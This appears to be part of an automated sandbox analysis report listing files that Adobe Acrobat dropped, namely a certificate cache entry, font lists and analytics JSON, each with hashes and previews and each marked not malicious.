....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklkIb3lltfllXlE/HT8k/bNNX8RolJuRdxLlGB9lQRYwpDdt:kK9A/eT8IpNMa8RdWBwRd
MD5:	0608FB02FFAB64DC2A7EBEACFF1BC696
SHA1:	FA2BFBB5B75921A9270A3542E486ED706A04B27E
SHA-256:	26F96274A3762A2FE387BC9B869B9729E3B792D84CC36633049021CF566900C6
SHA-512:	16E8330315BB0B7BA419F2B4A89483F05105E485A43F42F6F1464EEF0DAAC5D81B13A8C68ADA82A720FB1EB8C18FE95A1E7900D499E69781B00291013BFBD122
Malicious:	false
Preview:	p...... ..........2..c..(....................................................... ..........W....nn..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7732

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7732

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365102088332581
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJM3g98kUwPeUkwRe9:YvXKXH4aWZc0vJm5GMbLUkee9
MD5:	02C1E4B60868E3A08A57F964634A31E2
SHA1:	633444E3C2D97413DBE3F2839E6A13C406ED6F5D
SHA-256:	004756CF80DD12E948390A9A5060CD2DFD4BFB152C0D09A177325FC4E52D81F6
SHA-512:	D611CF753C4D0161825AF040E14131832B4203EDE360D3DCA33B62D1307F2777A09F1607C3A60CD90BA3CDD51125B6C4E12EE051EC6FE954A62EED8CD4C7F6CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.314115444964084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfBoTfXpnrPeUkwRe9:YvXKXH4aWZc0vJm5GWTfXcUkee9
MD5:	A0F2BD836FDB858DC6F5AF93EDA414C8
SHA1:	9E4BAF31989BBEB6271A1097EC9AD71F4384958C
SHA-256:	CA532A01179BC0B6C506FB2B84491F7461998596847BEB80F3F2192737F9B723
SHA-512:	D295AC77617A609701A14F7E4D21E983C97B52F0106AC2F79682AC8DB551004B4F2674DE719478720BB1333848F9801FE38F81F59CCE7E206DC54519F212B6C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292663761490089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXH4aWZc0vJm5GR22cUkee9
MD5:	8A40EF70D376010F3781BEC78DE76343
SHA1:	E860168BBEF8D7792C6CDF88D4685D4CB21C88CC
SHA-256:	8245849EE443F6AA775066E700209C31D01214BA37A04E0AB56A97CBCFCAB7D6
SHA-512:	18FAC0A53A489F0D6D1DD12A926916B80019D940AAB8A58F94957AFE62CA93E4F5EE3FD1B33F8BAE2D6704AF2ABD4A5B951E878FF601B7C75B215C1488ABF979
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352173601615998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfPmwrPeUkwRe9:YvXKXH4aWZc0vJm5GH56Ukee9
MD5:	C66589F105D5AFD6CD070B2507FBDBFD
SHA1:	5EB7367012EBE8238D17ADD3F0AC02DFAC4F07FB
SHA-256:	F33DF1CAE7F95400E90C2C253B025116289F6126B1C87486FE3C5A177F3AFD32
SHA-512:	4CC5F4C99705CC7B5865BA5BA1ADDE281CFB110E27B8B04FA77C52975605D9F891C47AF6935253F5C428A8CDC4F2FD3B323B1EDD0E9216E0239A3C218C7DE018
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693814895480995
Encrypted:	false
SSDEEP:	24:Yv6XHkzvJmepLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:Yvishmehgy6SAFv5Ah8cv/I
MD5:	64748BD1221BF1BE6EDC1963311A43F1
SHA1:	A9FE46D715239B1027CED4B35C7644809C3A79C2
SHA-256:	E5D66524CD856637B0E3DBCEECAF889DD444CB9C99C30FEA2FD1883DAC23ECEF
SHA-512:	B4DEDF6F9952DAFB615A7624793AB0E38E413A3E01A00315E0B66D1B765F3414FE8E17BF35DCBF035B776A321BE9FA986A53DD20951B2DAAF9FFF3882255F2CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299802662090125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJf8dPeUkwRe9:YvXKXH4aWZc0vJm5GU8Ukee9
MD5:	615C8B651292F6E9E402C86B0DAA4693
SHA1:	A2E3709A45A6AAA67DD6C92D2B8219BE4217D1C2
SHA-256:	C99D5FFE0F15175C407669B2421596C2C7C1138EE7F836B96AC66924E169BACA
SHA-512:	6128D8965B3E0F2AFB24DDE8C566A3DFC064F723F7112DDA912CF33BC46C0DBD8D898D45C9EA19C728D1F609F7265AF9CD3CA01352098461052CC4B65BD64CE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303396327777289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfQ1rPeUkwRe9:YvXKXH4aWZc0vJm5GY16Ukee9
MD5:	4E56087EBE5E3FDC81B5AFAC2F355227
SHA1:	5EDF8CA68ACBC48535B76567DD48E923F0C178D2
SHA-256:	E7C05A324420DF6A39075AB45AF00B734F17D0CD06E5223E099CF16C6C34799E
SHA-512:	1CF0D26014AD7D1228FAFC4D527C29C3CCADDD5EC50368C8CA4F0A045DF56BB77B6002A3E805A090FCA74E0A45735B114C92C8944204AFB032342C118D5246F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310110915889588
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfFldPeUkwRe9:YvXKXH4aWZc0vJm5Gz8Ukee9
MD5:	8E6F4A8EC72C47BFA91FE337CED6C658
SHA1:	7802F7DD4E875C548F62D90BDC357142C3C4B96E
SHA-256:	E55021AD4418D2A59AA0A32413835687AE54A8D2C4F4BD48CE1B63E76F779BC2
SHA-512:	01326AE76C19262E0FA5B9D033775B2B8B2DDDE2EF6CE4FAD1E8D52E09B8321F3388DBED49A99FF420FFBC1052D8B1960F2D3A3E201D0B4E841B9453E758946B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325613659674442
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfzdPeUkwRe9:YvXKXH4aWZc0vJm5Gb8Ukee9
MD5:	1610031020DF8070F665058F466DD3F6
SHA1:	EE92022CBEE004CF02C66D833BEE622BC1852D69
SHA-256:	38E78B989F2F0895CFB112B257125B78D44BB605A8DF6DEE05E15E2029DDD126
SHA-512:	A7DA7240572D674E4BD71956D9ECF4DE023A02AFA6ED1E53CF50A72B4B9384C2AAC4B2C9E0EE441815D97DAB33B4DB1A24F1DF46094DF804E5C248E10B3DC22B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306093342963994
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfYdPeUkwRe9:YvXKXH4aWZc0vJm5Gg8Ukee9
MD5:	6367F2C80D1BD876C9F88A03AC8409E6
SHA1:	111B40B12D7DDDDAE9CA22F14888508DABECD061
SHA-256:	CE1DA8F26275A1E20673B529E999E069FD88AFA46EED90F09567909D72D0C657
SHA-512:	F69F6CA28F661783A49E102224DD4B8A1873FBA99DBF3691268D842F94E51869DB458DBB839F63740A18071509ACDD21AC004A8BEB73E1777CC67C7A306AF054
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2925499838793675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJf+dPeUkwRe9:YvXKXH4aWZc0vJm5G28Ukee9
MD5:	A0E06A2A722026CB1AAD2974645869F0
SHA1:	22CDD2C34814C0F77E333FC463232C0D6CBF1079
SHA-256:	253A0A550D7F3D0406127DBE43FE91CFCA4243381BC82F99B626558B03FB8EF3
SHA-512:	28AD1E224567CA2EFFBD35F20E9CA553C27DBDA459B60E382D66BB426F244FB4BB1239D6F49FB132B7B9EF3C16E38D4BE8EEACB5DF203DED0A9766D99978187B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7149f7e-c8c8-4b02-88af-4093bd67b163","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736748724479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289598561992057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrlKaHHVoZcg1vRcR0Y+8RHKoAvJfbPtdPeUkwRe9:YvXKXH4aWZc0vJm5GDV8Ukee9
MD5:	07909BA975FDDE60F2694603A58A756F
SHA1:	F296FD680AF3FCF85C109F28DB85FE1327503932
SHA-256:	A0567E9273A23E1E05635EE27D9E5B3972C37FA41AD064280C68723E5F87FC89
SHA-512:	C3CD3A40AB1FF98E923DBF31EA51D05D3580F28BCEF1DFD89D5A544AB92BAE6F2F666521F88B1ED65F5FB8792F7A235E89EEB140F52B15403F9E0074916ED482
Malicious:	false
